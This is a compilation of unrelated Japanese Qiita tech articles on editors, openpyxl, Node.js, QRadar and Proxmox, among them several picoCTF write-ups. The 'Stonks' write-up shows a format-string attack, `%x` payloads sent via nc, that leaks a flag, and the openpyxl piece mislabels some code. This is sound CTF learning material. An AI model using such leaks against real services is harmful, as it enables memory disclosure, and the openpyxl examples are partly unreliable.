OmniAICreator/Qiita-1.07M huggingface dataset:
Neovim漂流記

## はじめに

ここ1年でエディターを放浪してきたので振り返ってみます。
もともとVSCode を使って開発していたものの、Ruby (Rails) を開発するようになって辛くなってきたのでエディタを探す旅に出ました。

Rails ってディレクトリ構造がある程度きまってて、Controller開いたり、View開いたり、ルーティング開いたり、テストファイルにとんだり、FactoryBotにとんだり、あっちこっちいくんですよね。抱えるファイル数多い上に、定義ジャンプうまくいかず苦労しました。(当時はLSPは使っていましたが、ctags は概念すら知らなかった)

## Intellij とのひととき

そんななか Intellij を使い始めました。強力なindexing をしてくれるので、Rails をわかってなくてもいい感じにControllerとViewとルーティングをビュンビュンとべてサイコーでした。
Rails の感覚を掴むのにはとても良かったです。
ただ、開発環境がEC2でリモートにあるため Gateway を使って開発してたのですが、それがとても不安定でデーモンのCPU使用率がはりついてたびたび固まるのが辛くやめました。
2~3ヶ月の儚さでした。

## Neovim への漂着

そんなこんなで **Neovim** に流れつきました。
EC2環境にインストールするのでsshしてエディタを開くだけでよく、特に小細工はいらずサクサク動きます。appimage もビルドされてるので、こだわりがなければシングルバイナリを配置するだけで動きます。
プラグインは割と鉄板なものがあり、デファクトなプラグインも固まりつつあるらしく手頃にはじめれてとても良いです。

## NeoVim の使い心地

VS Code や Intellij と比べると、デフォルトの設定だとかなりシンプルです。ただ、プラグインを入れることでほぼ同じような機能を実現できます。

まずはファジーファインダを入れましょう。たぶんこれがないと人生の半分損します。ファジーファインダは群雄割拠らしいですが、自分はとりあえず telescope を使っています。
あらゆるデータソースをファジーファインダを通して欲しいソースを抽出し window や quickfix に変えます。美しいストリームですね。

シンプルにワーキングディレクトリ内のファイル名をファジーファインドするもいいし、ワーキングディレクトリ内をgrepして抽出するもよいです。telescope はデータソースもたくさん対応していて、buffer、 vim コマンド、コマンド履歴、Git系、tag、help document... と大体なんでもあります。

このファジーファインダを糊にしてbuffer をコントロールしつつ window を気分で出し入れして作業して、quickfix でゴリっと処理する感覚が気に入っています。
定義ジャンプはctags や Solargraph を使うことである程度とべますし、Telescope を使えば大抵解決します。ちなみに Typescript とかは tsserver だけで十分なので ctags はRuby専用になってます。
この強力なファジーファインダドリブンな作業は、VSCode や Intellij にはない特徴なのかなと思います。

このほかにもたくさんプラグインはあるのですが、大体他のエディタで用意されている機能と大差はない気がします。以下みたいのは揃ってます。

- LSP管理系
- ファイラ
- 補完
- ハイライトなど
- アウトライン

## お気に入りプラグイン(Rails寄り)

Rails 開発時にあると嬉しいプラグインを多めに自分が気に入っているプラグインを紹介します。

### [slim-template/vim-slim](https://github.com/slim-template/vim-slim)

一部の箇所で slim が使われているのですが、syntax ハイライトされないと寂しいので入れています。treesitter parser にないのでお世話になっております。

### [rgroli/other.nvim](rgroli/other.nvim)

現在の buffer から関連するファイルをシュッと開くことができるやつです。Controller から View や Rspec 開いたりできます。候補が決まってればファジーファインダさえいらないですね。いちいちファイラーから開くのに比べたらとても楽ですね。

### [RRethy/nvim-treesitter-endwise](https://github.com/RRethy/nvim-treesitter-endwise)

Ruby ではスコープ区切りに `def ... end` や `if ... end` を使いますが、`def` で改行すると `end` を入れてくれるやつです。 賢いですね。

### [which-key](folke/which-key.nvim)

ここらあたりから Rails とか関係ないですが気に入ってるやつです。
設定しているキーバインドは軽く100個以上あると思うのですが、使用頻度が低いものは体が覚えてくれません。そんなときはこいつが調教してくれます。

### [auto-session](https://github.com/rmagatti/auto-session)

Vim のbuffer や window の状態を保存しておいてくれるやつです。一度Vim を閉じてもこれがあればもう一度開くと同じ状態で開きます。
また、ブランチごとに buffer や window を保存しておきたいといったこともできます。

### [thinca/vim-qfreplace](https://github.com/thinca/vim-qfreplace)

quickfix 内のテキスト自体を編集しゴリッと置換するやつです。置換のヒーローです。

## おわり

とりあえず今は以下の点で Neovim を気に入ってます。

- CUIで動くので環境を選ばなく、ターミナル１つあれば動く
- buffer、window、quickfix、ファジーファインダまわりが強力
- ちょっとした設定は lua で書ける

エディタにはこだわりがなかったのですがちょっと沼りそうな気がしてます。
Neovim を開いたら一日閉じないで作業できるくらいになりたいですね。
社内フォルダへのリンクを開けるようにしたい_プリザンターで

プリザンターでURLを入力すると勝手にリンクが付いてくれる。
でも通常ブラウザでは社内サーバーへのリンクなんかはブロックされます。
⇒**カスタムURLスキーマにて開けるようにする！**

・追記
こちらではNativeMessagingでリンクを開きます。

https://qiita.com/msms/items/50abfa41fcf0b3988078

# スクリプト
下記内容をスクリプトに入れて、「一覧」にチェック。
今回は一覧状態の時にリンククリックで開きたいので。
- クリックで実行
- 対象はリンク先が指定した時の場合のみ`file://\\\\192.168.xx.xx`。知らない場所は飛ばないように限定する
- 元のaタグでのリンクを無効にして、カスタムスキーマの文字列に置き換える
- カスタムスキーマでファイルが開く！

``` js
document.addEventListener("click", (Event) => {
  let hr = Event.target.getAttribute("href");
  if (hr != null) {
    if (hr.startsWith("file://\\\\192.168.xx.xx")) {
      Event.preventDefault();
      hr = hr.replace("file://", "カスタム:");
      window.open(hr);
    }
  }
});
```

カスタムスキーマについては下記を参照させて貰いました。

https://qiita.com/kojimadev/items/74100c8557a92939ef69

## できなかったこと
サーバースクリプトで行表示の前にカスタムスキーマ文字列を追加しようとしたけけど、url部分だけで取り出されてaタグ付いて、うまくいかなかった。
```
let modelA = model.DescriptionA;
modelA = "カスタム:" + modelA;
model.DescriptionA = modelA;
```
openpyxlをうす〜く理解しよう~その3/3（印刷設定編）

## 今回の目的
ズバリ、印刷設定。である。それ以外はない。w


### 前記事はこちら

https://qiita.com/ikedachin/items/7a0a08a4823ab5e1382f


https://qiita.com/ikedachin/items/494912f4dbc60a30f773


<br>
<br>

---

### 印刷範囲を設定する
```python
worksheet.print_area = 'A1:C4'
```

`'A1:C4'`って直接書いたけど、こんな感じで作っちゃえばいいね。
```python
startcol = get_column_letter(worksheet.min_column)
endcol = get_column_letter(worksheet.max_column)

area_str = startcol + '1:' + endcol + str(worksheet.max_row)
```
出来上がりはこんな感じ。
![スクリーンショット 2024-04-25 23.41.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/1b66e5e6-dc47-4960-a190-a90364ea69be.png)
<br>
<br>

### 上下位置をセンターにする

```python
worksheet.print_options.verticalCentered = True
```

出来上がり
![スクリーンショット 2024-04-25 23.42.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/3b5098ac-3e26-5b02-60da-0b7e8abec560.png)
ふむふむ。
（正直いうと、公式hp見て、試して、出来上がりを見ているだけだったりする。w）

<br>
<br>


### 左右位置をセンターにする

```python
worksheet.print_options.verticalCentered = True
```
![スクリーンショット 2024-04-25 23.50.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/8662661b-2a70-89fe-e019-e013f112aa3c.png)



ちなみに、VSCodeを使っているのですが、以下までコードを書くと何やら設定可能な値が見える
![スクリーンショット 2024-04-25 23.47.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/86cde204-77e9-eae8-a5a1-d96362330b08.png)
ま、色々設定できそうですね。

<br>
<br>

### 表のタイトルをつける

そう、印刷のマイページごとに表示してほしい、列を入れた行を指定するんです。
```python
worksheet.print_title_rows = '1:1'
```
こんな感じ。

今のエクセルの例だと変わらないので結果はなし！w
```python
worksheet.print_title_rows = '1:2'
```
１、２行めを指定したい場合は下記。別のファイルで試した。（あ、表に出せないファイルなんでご勘弁）

<br>
<br>

### 印刷用紙の方向の設定
`orientation`には「向き」の意味があります。
その`orienttation`に設定を入れていきます。

```python
# 横向き
worksheet.page_setup.orientation = worksheet.ORIENTATION_LANDSCAPE
```

![スクリーンショット 2024-04-26 12.28.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/dedc4b27-09c9-5e0e-b3e8-f147206c9ea1.png)

```python
# 縦向き
worksheet.page_setup.orientation = worksheet.ORIENTATION_PORTRAIT
```
![スクリーンショット 2024-04-26 12.30.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/1991cb97-f40a-f234-dcdb-3d96eb6137fb.png)

無言で進みます。w

<br>
<br>

### 印刷用紙の設定
B5に設定する場合
```python
worksheet.page_setup.paperSize = worksheet.PAPERSIZE_A5
```

![スクリーンショット 2024-04-26 12.36.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/728285aa-0ff1-54d0-e1d0-c3f8d701bea4.png)
ちゃんと、プリントプレビューを見るとA5になりました。

![スクリーンショット 2024-04-26 12.40.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655320/6f74b272-78e4-6543-78de-114dbdcf38a1.png)
色々設定ができそうですね。

<br>
<br>

---


# 終わりに
いきなり終わります。w
だって、うす〜く理解するだけですから。
なんとなく、openpyxlがわかってきました。次は実践して楽しましょ。
csvやエクセルを読み込んで、pandasで処理してエクセルに書き込んで体裁整えてホイっ！
同じような作業があったら、どんどん作業はパソコンに任せちゃいましょう！

最近はエンタープライズ契約のMicrosoft365にはscriptができて、JavaSriptでも動かせるようになりました。
慣れているのはJavaSriptか、pythonか。強力なpandasが使えるのはpython。
どっち使うかはあなた次第！
picoCTF 2023 writeup money-ware

## money-ware (General Skills)

Flag format: picoCTF{Malwarename} The first letter of the malware name should be capitalized and the rest lowercase. Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?

問題文より、マルウェアの名前を答えれば良いらしい。
とりあえず、謎文字列`1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX`をgoogle先生になげてみる。
と、ランサムウェアである「Petya」という単語が散見されるので、submitしてみるとflagは「Petya」であっていた。

`picoCTF{Petya}`
複数の nRF9160 を利用して通信帯域を拡張する試み

下記のデバイスにて LAN 側の接続台数が増えた場合の対策として、複数の nRF9160 を ESP32 に UART 接続して通信帯域が拡大するか検証してみた。

https://qiita.com/Akihiro-Sakaniwa/items/4fc751ce5c827958ed06

# テスト構成
nRF9160評価ボード ２枚
https://ssci.to/8999
https://www.actinius.com/icarus-som-dk

ESP32-POE-ISO 　1枚
https://www.olimex.com/Products/IoT/ESP32/ESP32-POE-ISO/open-source-hardware

ESP32 の UART に nRF9160 を２台接続する。

LAN側 には、LinuxPCを接続してUDPでデータを分割受信するPython3のスクリプトを作成。
（ソケットを複数つかって帯域を埋めるように実装した）

Internet 側には、nodered サーバーを用意して、要求されたオフセット位置のデータをUDPで分割送信するフローを作成。

ESP32 は、LAN 側から受信したパケットを交互に２台のnRF9160へ送信するように実装した。


データサイズは２００KB程度。

SIMは、SORACOM の PLAN-D を ２枚使用。


# テスト結果

電波状況などいろいろな要因で転送速度が変化するので実測値は出さないが、同一時間帯にて、複数回試行して平均値をとったところ、nRF9160が１台構成と、２台構成とで、概ね２倍程度の速度差が出ることを確認できた。



テストプロブラムは、ESP32に最大３台までnRF9160を UART 接続できるように実装してあるので、SIMが調達できたら、３台構成でテストしてみようと思っている。


ーー＞ 追記： ３台で動作確認しました。帯域も３倍まで拡がっていました。


# 以上。
Node.jsをMacにインストールした

# はじめに  
Macでhomebrewを使ってnodebrewをインストールし、node.jsをインストールした際のメモです。
# つまづきメモ
つまづいた箇所を記載します。詳しくは[参考にした文献](#参考にした文献)をご覧ください。
## node.jsがインストールできない
node.jsの安定版がインストールできませんでした。
```
% nodebrew install-binary stable
Fetching: https://nodejs.org/dist/v22.0.0/node-v22.0.0-darwin-x64.tar.gz
Warning: Failed to open the file 
Warning: /Users/owner/.nodebrew/src/v22.0.0/node-v22.0.0-darwin-x64.tar.gz: No 
Warning: such file or directory
curl: (23) Failure writing output to destination

download failed: https://nodejs.org/dist/v22.0.0/node-v22.0.0-darwin-x64.tar.gz
```
### 解決方法
ディレクトリを作ると上手くいきました。
```
% mkdir -p ~/.nodebrew/src
```
注）-p は多層のフォルダを作るときのオプション
## .zprofileと.zshrcの違い
1.では.zprofileを使っているが.zshrcと何が違うんだろうと思いました。
結論、あまりよく分かりませんでしたが、読み込む順番が違うみたいでした。
とりあえず.zshrcに記述して問題が出てきたらその時きちんと考えるでも良いらしいです。
もう少し賢くなったら、振り返ろうと思います。
# 参考にした文献
1. [MacにNode.jsをインストール](https://qiita.com/kyosuke5_20/items/c5f68fc9d89b84c0df09)
2. [Node.jsのインストールに失敗する時の解決策（No such file or directory）](https://qiita.com/yn01/items/d1fa10dbe4850f7cd693)
3. [zshの設定ファイルの読み込み順序と使い方Tipsまとめ](https://qiita.com/muran001/items/7b104d33f5ea3f75353f)
音声データをMIDIで完全再現する

# 目次
1.はじめに
2.概要
3.詳細
4.結果
5.やってみての感想


# はじめに
　Youtubeで音の錯覚がバズっていたのを見かけたので、自分でも作ってみたいなと思い実行に至った。

※音の錯覚とは、
　MIDIだけで相当数の音を組み合わせることで、元の音声を再現するもの。

# 概要
　フーリエ変換をすることで、元の波形を周波数とその位相に変換することができます。その原理を利用して、MIDIで設定する楽器を正弦波にし、MIDIだけで人のボーカルも含めた曲を再生できるようにしました。(フーリエ逆変換相当の部分をMIDIで行う。)
原理としては、Mp3に近いと思います。

# 詳細
<dt>MIDI</dt>
　バズっていた音の錯覚動画では、楽器はピアノ(初期設定?)や電子ピアノなどになっていたと思われます。これらの楽器は倍音成分が少ないので比較的高精度に再現できるのだと考えてますが、今回は完全再現していきたいので、より正弦波に近い楽器を設定していきたいと思います。
<br>　Windows標準搭載のMIDI音源であるMicrosoft GS Wavetable SW Synthは、楽器として矩形波があるのですが、正弦波はなぜか対応していなかったため、別のMIDI音源(SGM-V2.01)に変更することで対応させました。
<br><br>
<dt>フーリエ変換</dt>
　音声ファイルから得られた波形をフーリエ変換していくのですが、次の問題が浮上しました。<br><br>
　1.フーリエ変換する周期の設定<br>
　2.連続で変化する周波数成分の対応<br>
　3.音階に相当する周波数のみのフーリエ変換で十分なのか<br>
　4.位相はどうするか<br>
<br>
1.については、ある周波数fでフーリエ変換するとき、その3周期分の区間ごとに設定しました。周期ごとにしておくことで窓関数の設定が必須でなくなりました。

2.については、MIDIの音量の段階が127段階あり、閾値を設定しないとノートの数が非常に多くなってしまい処理落ちしてしまうため、10段階分以上変化したときノートの音量を変更する処理にしています。

3.については、音階相当の周波数のみのフーリエで十分人の声などは聴くことができましたが、音質で言うとラジオ相当です。もう少し精度を上げたいと考えたので、Pitch Bend機能を使用し、微分音(6分音)を導入しました。
※微分音は、半音よりさらに細かく分けられた音程を指す。

4.については、MIDIの分解能およびテンポを最大に設定しても高周波の位相を再現できないため、断念しました。
<dt>環境</dt>
・実装はJavaで行っています。

# 結果

https://www.youtube.com/watch?v=a2JwnlgTitw

　このMIDIデータは約70MBであり、Dominoで読み込むのに約2分かかりました。
# やってみての感想
　想定外なレベルで精度よく再現できたと思います。ある楽曲のボーカルを分離しそれだけMIDIファイル化し、他のMIDIファイルとマージするという応用もあると思うので、可能性は感じています。
【再帰とは】明日から本気出す


```js
function 明日から本気出す(dayCount = 1, maxDayCount = 810) {
  if (dayCount >= maxDayCount) {
    console.log(`${dayCount}日目：来世から本気出す`);
    return;
  }
  console.log(`${dayCount}日目：明日から本気出す`);
  明日から本気出す(dayCount + 1, maxDayCount);
}

明日から本気出す();
```
tarコマンドコピペ元


### tarファイルに含まれているファイルの一覧を取得する
``` shell
tar -tf tarファイル名
```
それぞれのオプションの意味を調べると
```
  -t, --list                 list the contents of an archive
  -f, --file=ARCHIVE         use archive file or device ARCHIVE
```
なので以下と等価
```shell
tar --list -f=tarファイル名
```
QRadar X-Forceの利用

# 参考ドキュメント

　https://www.ibm.com/docs/en/qradar-common?topic=monitoring-enabling-x-force-threat-intelligence-in-qradar

# X-Forceの有効化
Web UIから[system Settings]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/f5a2cf62-c3e2-0feb-3ef5-2006c1edb85f.png)


Enable X-Force Threat intelligence Feedを[Yes]に変更する。Saveボタンを押す。
（これをYesにしないとルール作成でCategoryを選ぶことができない）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/61c6dd56-3e00-fbbf-1919-5ce00ae19ee3.png)

[Deploy Changes]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/227b9e95-61c2-ab50-de5b-4cd8b9672e39.png)

# X-Forceのリストをルールに組み込む
X-Forceで脅威判定されたIOC(IP,URL,Fileハッシュ等）がある場合には、通知をする仕組みを実装できる。
以下の手順では、通信先IPアドレスが脅威であるとX-Forceが判定する場合には通知をする手順を記載する。

 [Offense] ->[Rules]をクリックする
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/216f4df7-c318-ac87-96b0-0f3eaecc3edd.png)


[Actions]をクリックしてプルダウンメニューから[New Event Rule]を選ぶ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/d8e4472b-5806-3d67-b7d0-2ddb7f19ab5f.png)

Rule Wizardが立ち上がるので[Next]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/1527ad3b-e194-7529-33e5-b5f76fb1d8a7.png)

Eventsが選ばれていることを確認して[Next]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/60a22c25-29a5-f94d-e289-fca03ade1f80.png)

Test Groupから[X-Force Tests]を選ぶ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/9333e2e4-8dd3-d3af-3bd6-3f7949b337c3.png)

X-Forceで評価判定できる２つのルールが表示される。これらを使って脅威検知ルールを作成する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/b1b10b13-1255-4c86-7c0f-b296b799fa10.png)


Confidenceは、0(信頼性低い）~ 100 (信頼性高い)の範囲で設定する。以下の文書の推奨である50を採用する。

  https://www.ibm.com/docs/en/qradar-on-cloud?topic=integration-confidence-factor-ip-address-reputation
  
緑色の+をクリックし、ルール名を入力、ルール条件文のそれぞれ（Destination IP),(Malware),(greater),(50)を設定する。[Next]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/51e8ee97-956e-73f7-eeaf-28c62ee5c146.png)

[Email]に☑を入れて任意のメールアドレスを入力して[Next]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/0271517c-4d42-9558-7a65-e60f09c8d94d.png)

[Finish]をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/aa3e9300-3d37-8315-6ead-130eb2119970.png)








# X-ForceによるIPアドレスの評価
QradarのLog Activity画面で、対象のIPの評価を確認することができる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/c1e1c970-eab8-e53a-d694-eeba115960c6.png)
正常な場合（リスク1)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/89ebc1f4-4ebd-d0c1-76ed-b39c49cae574.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/2103242c-74f8-d5cc-b30e-835c26441bef.png)

疑わしい場合
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/d49956f5-2b72-8d04-227a-787a35a0eb50.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3307206/6b28258e-2476-a7a9-a2e2-9a2c34559576.png)
picoCTF 2019 writeup Glory of the Garden

## Glory of the Garden (Forensics)

This garden contains more than it seems.

添付ファイル
・garden.jpg

添付の画像ファイルを開いてみると、なんの変哲もない画像が出てきたので、
とりあえず、テキストエディタで開いてみるとフラグが出てきた。

`picoCTF{more_than_m33ts_the_3y3eBdBd2cc}`
【ChatGPT＋DALL-E3】企画その５がはじまりました。


　どうも、カーブミラーです。

　今回は、週末恒例のカーブミラー企画その５がはじまりました。

:::note info
本記事は、ChatGPT（有料版）
＋DALL-E3で行なっております。
画像はあります。　あしからず。
:::

　またまた
　　週末企画のお知らせです。

　先週もやっていたんですけど、
　　X-Twitter春のBAN祭りの
　　　最中だったので
　　　　こちらでは
　　　　　お知らせしませんでした。

　どうも
　　まだ余韻が残っているようで、
　　　フォロワー数の減少が
　　　　続いています。

　昨日（2024/04/25）は
　　自分のアカウントが
　　　X-Twitterにより
　　　　ロックを掛けられ、
　　　　　慌てました。

　企画のお知らせを
　　ポストした直後だったので
　　　“それか？”という思い。

　まぁ、落ち着いて、
　　手順を踏むと
　　　無事にロック解除となりました。

　これは
　　ボットではないことの
　　　確認作業だったようです。

　とりあえず
　　ホッとして作業を続けていると
　　　仲間から“フォロー数が0だよ”と
　　　　教えてもらい、確認すると
　　　　　確かにそうでした。

　フォローの確認をすると
　　フォローメンバーに
　　　変動はなかったので、
　　　　ロックによる影響のようです。

　今日（2024/04/26）の
　　朝に確認したら
　　　フォロー数は
　　　　戻っていました。ﾎｯ😅
***
　それはともかく、
　　企画の内容です。

　テーマは『#AI競争レース』

　複数人で、先を争うもの。
　　老若男女・動植物・機械ほか
　　　なんでも。競争している姿を。

　企画終了は、2024/04/28(日)24時。
　【金土日の三日間のみ】です。

　企画内容の詳細は、
　　ポストの画像のALT（代替）を
　　　ご確認ください
[【週末恒例　カーブミラー企画その５】](https://twitter.com/kabumira862571/status/1783534609797652516?t=ivNCNJaMiVp2YhY1g1l2HA&s=19)
***
　この企画が
　　みなさんの作品制作の
　　　刺激になれば、幸いです。

　今回は、ここまで。

　この画像は
　　企画募集に使っているものです。
![1714097744873.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/0d21d9d7-b469-66bd-51ff-da54b546a291.jpeg)
[さくらVPS+Ubuntu]メモリ不足でコンパイルがkilledされる

## 経緯

Laravel + vite + reactで動かしているプロジェクトのステージング環境でビルド→ヒープ領域制限にひっかかったので拡張して再ビルド→メモリ不足killedされるようになってしまった

## 環境
- さくらVPSの1Gを契約している
- OSはUbuntu(22.04)

## 原因

[初期設定ではスワップファイルが作成されないから。](https://manual.sakura.ad.jp/vps/os-packages/ubuntu-22.04.html#swap)

## 対応

[さくら公式にあるとおりスワップファイルを作成](https://manual.sakura.ad.jp/vps/os-packages/add-swapfile.html#id7)してビルドすれば動いた🥳
【Flutter】FCMのrequestPermissonについて

# はじめに
FCMの実装方法を調べていて、メッセージの受信権限をリクエストするメソッドである`requestPermisson`について調べたので、記事にします。

# 実装方法
[公式のドキュメント](https://firebase.google.com/docs/cloud-messaging/flutter/receive?hl=ja&authuser=0&_gl=1*1eniu36*_up*MQ..*_ga*MTYwOTk1MjYxMC4xNzE0MDI3NjU0*_ga_CW55HF8NVT*MTcxNDAyNzY1My4xLjAuMTcxNDAyNzY1My4wLjAuMA..#request_permission_to_receive_messages_apple_and_web)と同じですが載せておきます。
```
FirebaseMessaging messaging = FirebaseMessaging.instance;

NotificationSettings settings = await messaging.requestPermission(
  alert: true,
  announcement: false,
  badge: true,
  carPlay: false,
  criticalAlert: false,
  provisional: false,
  sound: true,
);

print('User granted permission: ${settings.authorizationStatus}');
```

# 引数の説明
APIのドキュメントは[こちら](https://pub.dev/documentation/firebase_messaging/latest/firebase_messaging/FirebaseMessaging/requestPermission.html)

以下に整理しましたが、基本デフォルト値で問題なさそうでした。

| 引数名 | 説明 |
|----|----|
| alert | デバイスにプッシュ通知が届いた際に、アラート(ポップアップやバナー)を表示するかどうか<br />基本はtrueになるはず |
| announcement | iOSで使用する値で、SiriがAirPods経由で通知メッセージを自動的に読み上げるかどうか<br />基本はfalseでいいと思います |
| badge | バッジ(アプリアイコンの右上に表示される数字)に未読の通知数を表示するかどうか<br />基本はtrueでいいと思います |
| carPlay | iOSで使用する値で、[CarPlay](https://www.apple.com/jp/ios/carplay/)という機能を使用中に通知をするかどうか<br />基本はfalseでいいと思います |
| criticalAlert | 特定の緊急時のアラートに使用し、音量やサイレントモードの設定を無視して通知するかどうか<br />基本はfalseになるはず |
| provisional | iOSで使用する値で、通知を目立たないようにするかどうか(サイレント通知になり、画面に表示されなくなるみたいです)<br />基本はfalseになるはず |
| sound | 通知とともにサウンドを再生するかどうか<br />基本はtrueでいいと思います |

# requestPermissonの動作
### iOS
- 初回実行時、許可するかどうかのダイアログが表示される
  - 許可した場合: AuthorizationStatus.authorized
  - 許可しなかった場合: AuthorizationStatus.denied
- ２回目以降は許可するかどうかのダイアログは表示されず、ステータスだけ取れる

初回で許可しなかった場合に、許可してもらうには設定画面から許可をしてもらう必要がある。
それを促す方法には工夫が必要。
例えば、requestPermissonで取得したステータスがAuthorizationStatus.deniedだったら、ダイアログを表示して、許可してもらうように促すとか？（毎回やるとユーザーがめんどくさがりそう）
### Android
TODO
ProxmoxのVMでVMディスク保存先のホスト名を変更した時の対処

VMディスクの保存先のホスト名をNFS_BKからNAS01に変更したらバックアップできないし停止したら起動もできなくなった。（当然だけど）
GUIから変更できるやろ～～と思ったができなかった（見つからなかった）のでコマンドで対処した備忘録。

# 対象のVMを確認
    # qm list
      VMID NAME                 STATUS     MEM(MB)    BOOTDISK(GB) PID       
       301 hogevm               stopped    8192             100.00 0         
今回はVMIDが301のVMが対象でした。

# 設定を表示して「scsi0」を確認
    # qm config 301
    (省略)
    scsi0: NFS_BK:301/vm-301-disk-0.qcow2,iothread=1,size=100G
    (省略)
qm config \<VMID\>で対象VMの設定値が確認できる（GUIでも確認できるものと同じ）

# 設定更新
scsi0の設定が分かったのでホスト名を書き換えてやる

    # qm set 301 -scsi0 NAS01:301/vm-301-disk-0.qcow2,iothread=1,size=100G
    update VM 301: -scsi0 NAS01:301/vm-301-disk-0.qcow2,iothread=1,size=100G

これでOK
重回帰分析について

## 重回帰分析とは
結果（目的変数）を予測するときに、複数の説明変数と目的変数がどう関係しているのか数式で示す手法のこと。
注意点は、①説明変数→目的変数の順に起こっており、②説明変数が原因で目的変数が結果となっていることが明確となっていることが満たされていないと、因果関係はないことになる。


## 参考
https://gmo-research.jp/research-column/multiple-regression-analysis

https://www.recruit-ms.co.jp/issue/column/0000000564/?theme=hrdepartment
picoCTF 2021 writeup Stonks

## Stonks (Binary Exploitation)

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c nc mercury.picoctf.net 33411

添付ファイル
・vuln.c

とりあえずプロンプトに`nc mercury.picoctf.net 33411`をなげてみる。
```
> nc mercury.picoctf.net 33411
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
1
Buying stonks with token:
1
Portfolio as of Fri Apr 26 02:07:58 UTC 2024


1 shares of VP
2 shares of YCWC
14 shares of VJMP
5 shares of NZIO
44 shares of SFO
87 shares of YR
154 shares of ZRZ
796 shares of CIJD
5 shares of EXT
Goodbye!
```
株を買うor状態を見ることができるらしい。添付のプログラムを見てみると、
flagはapi_bufに格納されているっぽい。それから以下の部分で何かしらできそう。
```
	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API
 ```
 user_bufを表示してくれるみたいなので、とりあえずAPI tokenを聞かれるところで`%x`を入力してみる。と、なんか出てきた。
 ```
 Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x
Buying stonks with token:
9e4d3f0
Portfolio as of Fri Apr 26 02:13:52 UTC 2024


1 shares of SSY
10 shares of QTK
2 shares of VMZ
90 shares of V
360 shares of H
141 shares of JM
38 shares of THL
1180 shares of WCF
Goodbye!
```
`%x`をたくさん並べてみればflagが見られるかも。
```
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
95843b0804b00080489c3f7f17d80ffffffff19582160f7f25110f7f17dc7095831801958439095843b06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e6334326136613431ffe5007df7f52af8f7f254401ec2430010f7db4ce9
Portfolio as of Fri Apr 26 01:54:28 UTC 2024


1 shares of LV
1 shares of WD
27 shares of E
188 shares of OXJ
70 shares of AC
1189 shares of QYXJ
Goodbye
```
出てきた怪しげな謎文字列をhex→UTF-8にすると、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3638553/8abfcb9d-b59c-2ce5-f71e-ab0891e34696.png)
4文字ずつ逆になっているflag(リトルエンディアンで記述されている)が出てきたので、並べ替える。

`picoCTF{I_l05t_4ll_my_m0n3y_a24c14a6}`

ちなみに、Format String Attack(書式文字列攻撃)という、printf()などの関数の引数の特性を利用した攻撃方法らしい。
【プラクティス紹介】1分でさらっと分かる「休憩スプリント」

## プラクティス名（別名）
休憩スプリント　（リフレッシュスプリント）

## プラクティスの目的・狙い
* チームに活力を取り戻す

## どんな時に使うか
* チームが疲労してきたなと感じる時
* 祝日などでスプリントの稼働日が十分に確保できない時
* 大きなリリースなど山場を越えた時（一息入れたい時）
* 開発環境の入れ替えなどDEV全員の手を止めてしまう作業を行いたい時

## 実施手順
期間が定められた開発プロジェクトはまだしも、プロダクトが続く限り延々とスプリントも続いていくような現場では、終わりのないスプリントにチームが疲弊してしまうことがあります。そんな時は意図的に小休止の期間を設けてチームに活力を取り戻しましょう。チームの士気が復活すればすぐにコストは回収できるハズです。

